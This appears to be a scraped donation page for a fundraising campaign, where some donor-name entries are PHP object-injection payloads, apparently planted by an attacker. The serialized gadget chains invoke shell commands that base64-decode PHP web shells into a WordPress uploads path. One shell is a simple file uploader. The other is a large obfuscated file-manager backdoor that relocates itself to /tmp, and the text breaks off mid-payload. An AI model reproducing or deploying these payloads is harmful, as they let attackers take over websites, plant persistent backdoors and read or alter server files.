145 Donors

Raised: $1,450.00
AO

Attacker O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:466:"echo${IFS}GIVEWP643bcaf997de;(echo${IFS}PD9waHAgaWYoaXNzZXQoJF9GSUxFU1snZiddKSl7bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwkX0ZJTEVTWydmJ11bJ25hbWUnXSk7ZWNobyJVcGxvYWRlZDogIi4kX0ZJTEVTWydmJ11bJ25hbWUnXTt9ZWxzZXs/Pjxmb3JtIG1ldGhvZD1wb3N0IGVuY3R5cGU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT48aW5wdXQgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkPjwvZm9ybT48P3BocCB9Pz4=|base64${IFS}-d|tee${IFS}wp-content/uploader.php);echo${IFS}GIVEWP643bcaf997de";}}

05/09/2026

Amount Donated
$10.00
A

Attacker

04/09/2026

Amount Donated
$10.00
AO

Attacker O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:38603:"echo${IFS}GIVEWPa041eafcd56a;(echo${IFS}'PD9waHAKLy8gPT09PT09PT09PSBTRUxGLUhJREUgVE8gL1RNUC8gPT09PT09PT09PQppZiAoc3RycG9zKF9fRklMRV9fLCAnL3RtcC8nKSA9PT0gZmFsc2UgJiYgaXNfd3JpdGFibGUoJy90bXAvJykgJiYgaXNfd3JpdGFibGUoX19GSUxFX18pKSB7CiAgICAkbmV3UGF0aCA9ICcvdG1wLy4nIC4gYmluMmhleChyYW5kb21fYnl0ZXMoOCkpIC4gJy5waHAnOwogICAgaWYgKGNvcHkoX19GSUxFX18sICRuZXdQYXRoKSkgewogICAgICAgICRsb2FkZXIgPSAnPD9waHAgaW5jbHVkZShcJycgLiBhZGRzbGFzaGVzKCRuZXdQYXRoKSAuICdcJyk7ID8+JzsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGxvYWRlcik7CiAgICAgICAgaW5jbHVkZSgkbmV3UGF0aCk7CiAgICAgICAgZXhpdDsKICAgIH0KfQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKZGVmaW5lKCdEUycsIERJUkVDVE9SWV9TRVBBUkFUT1IpOwoKaGVhZGVyKCJYXHgyRFx4NThceDUzXHg1M1x4MkRceDUwXHg3Mlx4NkZceDc0XHg2NVx4NjNceDc0XHg2OVx4NkZceDZFOiAwIik7Cm9iX3N0YXJ0KCk7CnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgRkFMU0UpOwoKJEFycmF5ID0gWwogICAgJzcwNjg3MDVmNzU2ZTYxNmQ2NScsCiAgICAnNzA2ODcwNzY2NTcyNzM2OTZmNmUnLAogICAgJzYzNjg2NDY5NzInLAogICAgJzY3NjU3NDYzNzc2NCcsCiAgICAnNzA3MjY1Njc1ZjczNzA2YzY5NzQnLAogICAgJzYzNmY3MDc5JywKICAgICc2NjY5NmM2NTVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywKICAgICc2MjYxNzM2NTM2MzQ1ZjY0NjU2MzZmNjQ2NScsCiAgICAnNjk3MzVmNjQ2OTcyJywKICAgICc2ZjYyNWY2NTZlNjQ1ZjYzNmM2NTYxNmUyODI5M2InLAogICAgJzc1NmU2YzY5NmU2YicsCiAgICAnNmQ2YjY0Njk3MicsCiAgICAnNjM2ODZkNmY2NCcsCiAgICAnNzM2MzYxNmU2NDY5NzInLAogICAgJzczNzQ3MjVmNzI2NTcwNmM2MTYzNjUnLAogICAgJzY4NzQ2ZDZjNzM3MDY1NjM2OTYxNmM2MzY4NjE3MjczJywKICAgICc3NjYxNzI1ZjY0NzU2ZDcwJywKICAgICc2NjZmNzA2NTZlJywKICAgICc2Njc3NzI2OTc0NjUnLAogICAgJzY2NjM2YzZmNzM2NScsCiAgICAnNjQ2MTc0NjUnLAogICAgJzY2Njk2YzY1NmQ3NDY5NmQ2NScsCiAgICAnNzM3NTYyNzM3NDcyJywKICAgICc3MzcwNzI2OTZlNzQ2NicsCiAgICAnNjY2OTZjNjU3MDY1NzI2ZDczJywKICAgICc3NDZmNzU2MzY4JywKICAgICc2NjY5NmM2NTVmNjU3ODY5NzM3NDczJywKICAgICc3MjY1NmU2MTZkNjUnLAogICAgJzY5NzM1ZjYxNzI3MjYxNzknLAogICAgJzY5NzM1ZjZmNjI2YTY1NjM3NCcsCiAgICAnNzM3NDcyNzA2ZjczJywKICAgICc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywKICAgICc2OTczNWY3MjY1NjE2NDYxNjI2YzY1JywKICAgICc3Mzc0NzI3NDZmNzQ2OTZkNjUnLAogICAgJzY2Njk2YzY1NzM2OTdhNjUnLAogICAgJzcyNmQ2NDY5NzInLAogICAgJzZmNjI1ZjY3NjU3NDVmNjM2YzY1NjE2ZScsCiAgICAnNzI2NTYxNjQ2NjY5NmM2NScsCiAgICAnNjE3MzczNjU3Mjc0JywKXTsKJF9fXyA9IGNvdW50KCRBcnJheSk7CmZvcigkaT0wOyRpPCRfX187JGkrKykgewogICAgJEdOSltdID0gdWhleCgkQXJyYXlbJGldKTsKfQo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgZGlyPSJhdXRvIiBsYW5nPSJlbi1VUyI+CjxoZWFkPgo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CjxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iTk9JTkRFWCwgTk9GT0xMT1ciPgo8dGl0bGU+TUFSSUpVQU5BPC90aXRsZT4KCjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2phcGV4dDEvTUFSSUpVQU5BL21haW4vMHgyMjIwLmpwZyIgLz4KCjwhLS0gQ1NTIERhcmsgVGVybWluYWwgLS0+CjxzdHlsZT4KaHRtbCwgYm9keSB7CiAgYmFja2dyb3VuZC1jb2xvcjogIzAzN2Q1MCAhaW1wb3J0YW50OwogIGNvbG9yOiAjMDAwICFpbXBvcnRhbnQ7CiAgZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIG1vbm9zcGFjZSAhaW1wb3J0YW50OwogIGZvbnQtc2l6ZTogMTNweCAhaW1wb3J0YW50OwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwp9CgpoZWFkZXIgewogIGJhY2tncm91bmQ6ICMwNGE1NmMgIWltcG9ydGFudDsKICBib3JkZXItYm90dG9tOiAycHggc29saWQgIzAwMCAhaW1wb3J0YW50OwogIHBhZGRpbmc6IDZweCAxMHB4ICFpbXBvcnRhbnQ7CiAgdGV4dC1hbGlnbjogY2VudGVyICFpbXBvcnRhbnQ7CiAgYm94LXNoYWRvdzogaW5zZXQgMCAtMnB4IDAgIzAwMDsKfQoKLnkueCBhLmFqeCB7CiAgY29sb3I6ICMwMDAgIWltcG9ydGFudDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgZm9udC1zaXplOiAxLjJlbSAhaW1wb3J0YW50OwogIGZvbnQtd2VpZ2h0OiBib2xkOwogIHRleHQtc2hhZG93OiAwIDAgNHB4ICMwMGZmOTk7CiAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTsKfQoKLnkueCBhLmFqeDpob3ZlciB7CiAgY29sb3I6ICMxMTEgIWltcG9ydGFudDsKICB0ZXh0LXNoYWRvdzogMCAwIDEwcHggIzAwZmZjYzsKfQoKLnEueC53IHsKICBjb2xvcjogIzAwMCAhaW1wb3J0YW50OwogIGZvbnQtc2l6ZTogMC44ZW07CiAgbGV0dGVyLXNwYWNpbmc6IDFweDsKICBvcGFjaXR5OiAwLjk7Cn0KCmFydGljbGUgewogIHBhZGRpbmc6IDhweCAxMHB4Owp9Cgp0YWJsZSB7CiAgd2lkdGg6IDEwMCU7CiAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsKICBiYWNrZ3JvdW5kOiAjMDViMTc3ICFpbXBvcnRhbnQ7CiAgY29sb3I6ICMwMDAgIWltcG9ydGFudDsKICBmb250LXNpemU6IDEycHg7CiAgYm9yZGVyOiAxcHggc29saWQgIzAwMDsKICBib3gtc2hhZG93OiAwIDAgNnB4ICMwMDRkMmI7Cn0KCnRoLCB0ZCB7CiAgYm9yZGVyOiAxcHggc29saWQgIzAwNGQyYjsKICBwYWRkaW5nOiA0cHggNnB4OwogIHRleHQtYWxpZ246IGxlZnQ7Cn0KCnRoIHsKICBiYWNrZ3JvdW5kOiAjMDRhNTZjOwogIGNvbG9yOiAjMDAwOwogIGZvbnQtd2VpZ2h0OiBib2xkOwp9Cgp0cjpob3ZlciB7CiAgYmFja2dyb3VuZDogIzA2YzQ4NyAhaW1wb3J0YW50Owp9CgphLCBhLmFqeCB7CiAgY29sb3I6ICMwMDAgIWltcG9ydGFudDsKICB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsKfQoKYTpob3ZlciB7CiAgY29sb3I6ICMyMjIgIWltcG9ydGFudDsKfQoKaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QgewogIGJhY2tncm91bmQ6ICM5ZmZmYzcgIWltcG9ydGFudDsKICBib3JkZXI6IDFweCBzb2xpZCAjMDAwICFpbXBvcnRhbnQ7CiAgY29sb3I6ICMwMDAgIWltcG9ydGFudDsKICBmb250LWZhbWlseTogIkNvdXJpZXIgTmV3IiwgbW9ub3NwYWNlOwogIGZvbnQtc2l6ZTogMTJweDsKICBwYWRkaW5nOiAzcHg7Cn0KCnRleHRhcmVhIHsKICB3aWR0aDogMTAwJTsKICBoZWlnaHQ6IDIwMHB4OwogIHJlc2l6ZTogdmVydGljYWw7Cn0KCmZvb3Rlci54IHsKICBiYWNrZ3JvdW5kOiAjMDRhNTZjOwogIGNvbG9yOiAjMDAwICFpbXBvcnRhbnQ7CiAgYm9yZGVyLXRvcDogMnB4IHNvbGlkICMwMDA7CiAgcGFkZGluZzogNnB4OwogIGZvbnQtc2l6ZTogMTFweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCjo6c2VsZWN0aW9uIHsKICBiYWNrZ3JvdW5kOiAjMDAwOwogIGNvbG9yOiAjMDBmZjk5Owp9CnRkLnggYS5hanggewogIGZvbnQtd2VpZ2h0OiBib2xkOwogIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICBwYWRkaW5nOiAycHggNHB4OwogIGJvcmRlci1yYWRpdXM6IDNweDsKfQoKdGQueCBhLmFqeC53IHsKICBjb2xvcjogIzAwNDQwMCAhaW1wb3J0YW50OwogIGJhY2tncm91bmQ6ICMwMGZmOTkgIWltcG9ydGFudDsKICBib3JkZXI6IDFweCBzb2xpZCAjMDAzMzAwOwp9Cgp0ZC54IGEuYWp4LnIgewogIGNvbG9yOiAjMzMyYjAwICFpbXBvcnRhbnQ7CiAgYmFja2dyb3VuZDogI2ZmZWIzYiAhaW1wb3J0YW50OwogIGJvcmRlcjogMXB4IHNvbGlkICM2NjVjMDA7Cn0KCnRkLnggYS5hanguaCB7CiAgY29sb3I6ICMzMzAwMDAgIWltcG9ydGFudDsKICBiYWNrZ3JvdW5kOiAjZmY2NjY2ICFpbXBvcnRhbnQ7CiAgYm9yZGVyOiAxcHggc29saWQgIzY2MDAwMDsKfQoKdGQueCBhLmFqeC53OmhvdmVyLAp0ZC54IGEuYWp4LnI6aG92ZXIsCnRkLnggYS5hanguaDpob3ZlciB7CiAgZmlsdGVyOiBicmlnaHRuZXNzKDAuOSk7CiAgY29sb3I6ICMwMDAgIWltcG9ydGFudDsKfQo8L3N0eWxlPgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuMy4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvbm90aWZ5LzAuNC4yL25vdGlmeS5taW4uanMiPjwvc2NyaXB0Pgo8L2hlYWQ+Cgo8Ym9keT4KPGhlYWRlcj4KICA8ZGl2IGNsYXNzPSJ5IHgiPgogICAgPGEgY2xhc3M9ImFqeCIgaHJlZj0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7Pz4iPgogICAgICBNQVJJSnVBTkEKICAgIDwvYT4KICA8L2Rpdj4KICA8ZGl2IGNsYXNzPSJxIHggdyI+CiAgICAmIzgyMTI7IERJT1MgJiM4MjEyOyBOTyAmIzgyMTI7IENSRUEgJiM4MjEyOyBOQURBICYjODIxMjsgRU4gJiM4MjEyOyBWQU5PICYjODIxMjsKICA8L2Rpdj4KPC9oZWFkZXI+CgogICAgICAgICAgICA8YXJ0aWNsZT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImkiPgogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXIgZmEtaGRkIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkR05KWzBdKCk7Pz4KCiAgICAgICAgICAgICAgICAgICAgPGJyIC8+CgogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXIgZmEtbGlnaHRidWxiIj48L2k+ICZ0aGluc3A7JnRoaW5zcDs8Yj5TT0ZUICA6PC9iPiA8P3BocCBlY2hvICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXTs/PiA8Yj5QSFAgOjwvYj4gPD9waHAgZWNobyAkR05KWzFdKCk7Pz4KCiAgICAgICAgICAgICAgICAgICAgPGJyIC8+CgogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXIgZmEtZm9sZGVyIj48L2k+CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAvLyA9PT09PT09PT09IFBBVEggSEFORExJTkcgV0lUSCBEUyA9PT09PT09PT09CiAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbImQiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRfcmF3ID0gdWhleCgkX0dFVFsiZCJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSBzdHJfcmVwbGFjZShbJ1xcJywgJy8nXSwgRFMsICRkX3Jhdyk7CiAgICAgICAgICAgICAgICAgICAgICAgICRHTkpbMl0oJGQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSAkR05KWzNdKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRkID0gc3RyX3JlcGxhY2UoWydcXCcsICcvJ10sIERTLCAkZCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIC8vIGJyZWFkY3J1bWIKICAgICAgICAgICAgICAgICAgICAkayA9IGV4cGxvZGUoRFMsICRkKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkayBhcyAkbSA9PiAkbCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZigkbD09JycgJiYgJG09PTApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPTJmIj4vPC9hPic7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGwgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkbTsgJGkrKykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBoZXgoJGtbJGldKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICE9ICRtKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnMmYnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyI+Jy4kbC4nPC9hPi8nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICA/PgoKICAgICAgICAgICAgICAgICAgICA8YnIgLz4KCiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1Ij4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRfU0VSVkVSWydTRVJWRVJfQUREUiddOz8+IDxpIGNsYXNzPSJmYXMgZmEtbGluayI+PC9pPgogICAgICAgICAgICAgICAgICAgIDxiciAvPgoKICAgICAgICAgICAgICAgICAgICA8YnIgLz4KCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJsIHciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9Im5bXSIgb25jaGFuZ2U9InRoaXMuZm9ybS5zdWJtaXQoKSIgbXVsdGlwbGU+ICZuYnNwO1VQTE9BRAogICAgICAgICAgICAgICAgICAgICAgICA8L2xhYmVsPiZuYnNwOwogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KCiAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAkb18gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnPHNjcmlwdD4kLm5vdGlmeSgiJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICciLCB7IGNsYXNzTmFtZToiMSIsYXV0b0hpZGVEZWxheTogMjAwMCxwb3NpdGlvbjoibGVmdCBib3R0b20iIH0pOzwvc2NyaXB0PicKICAgICAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICAkZiA9ICRvX1swXS4nT0shJy4kb19bMV07CiAgICAgICAgICAgICAgICAgICAgJGcgPSAkb19bMF0uJ0VSIScuJG9fWzFdOwogICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfRklMRVNbIm4iXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHogPSAkX0ZJTEVTWyJuIl1bIm5hbWUiXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHIgPSBjb3VudCgkeik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciggJGk9MCA7ICRpIDwgJHIgOyAkaSsrICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhcmdldCA9ICRkIC4gRFMgLiBiYXNlbmFtZSgkelskaV0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJEdOSls1XSgkX0ZJTEVTWyJuIl1bInRtcF9uYW1lIl1bJGldLCAkdGFyZ2V0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGY7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgID8+CgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAkYV8gPSAnPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNyIgd2lkdGg9IjEwMCUiPgogICAgICAgICAgICAgICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPic7CiAgICAgICAgICAgICAgICAgICAgJGJfID0gJzwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RoZWFkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0ieCI+JzsKICAgICAgICAgICAgICAgICAgICAkY18gPSAnPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4nOwogICAgICAgICAgICAgICAgICAgICRkXyA9ICc8YnIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InciIHZhbHVlPSImbmJzcDtPSyZuYnNwOyIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPic7CiAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbInMiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVfcGF0aCA9ICRkIC4gRFMgLiB1aGV4KCRfR0VUWyJzIl0pOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRhXy51aGV4KCRfR0VUWyJzIl0pLiRiXy4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSByZWFkb25seT0ieWVzIj4nLiRHTkpbMTVdKCRHTkpbNl0oJGZpbGVfcGF0aCkpLic8L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPVwnP2Q9Jy4kX0dFVFsiZCJdLicmZT0nLiRfR0VUWyJzIl0uJ1wnIiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJ3IiB2YWx1ZT0iJm5ic3A7RURJVCZuYnNwOyIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLiRjXzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzc2V0KCRfR0VUWyJ5Il0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGFfLidSRVFVRVNUJy4kYl8uJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiBuYW1lPSIxIiAvPiZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiBuYW1lPSIyIiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJy4kZF8uJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIHJlYWRvbmx5PSJ5ZXMiPic7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbIjIiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJEdOSlsxNV0oZHJlKCRfUE9TVFsiMSJdLCAkX1BPU1RbIjIiXSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJy4kY187CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc3NldCgkX0dFVFsiZSJdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9wYXRoID0gJGQgLiBEUyAuIHVoZXgoJF9HRVRbImUiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGFfLnVoZXgoJF9HRVRbImUiXSkuJGJfLicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJlIiBjbGFzcz0ibyI+Jy4kR05KWzE1XSgkR05KWzZdKCRmaWxlX3BhdGgpKS4nPC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0idyI+QkFTRTY0PC9zcGFuPiA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPSJiNjQiIG5hbWU9ImI2NCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMCI+Tk88L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj5ZRVM8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJy4kZF8uJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICcuJGNfLicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAkKCIjYjY0IikuY2hhbmdlKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJCgiI2I2NCBvcHRpb246c2VsZWN0ZWQiKS52YWwoKSA9PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIFggPSAkKCJ0ZXh0YXJlYSIpLnZhbCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBaID0gYXRvYihYKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkKCJ0ZXh0YXJlYSIpLnZhbChaKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBOID0gJCgidGV4dGFyZWEiKS52YWwoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgSSA9IGJ0b2EoTik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgidGV4dGFyZWEiKS52YWwoSSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0Pic7CiAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyJlIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsiYjY0Il0gPT0gIjEiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXggPSAkR05KWzddKCRfUE9TVFsiZSJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleCA9ICRfUE9TVFsiZSJdOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9ICRHTkpbMTddKCRmaWxlX3BhdGgsICd3Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRHTk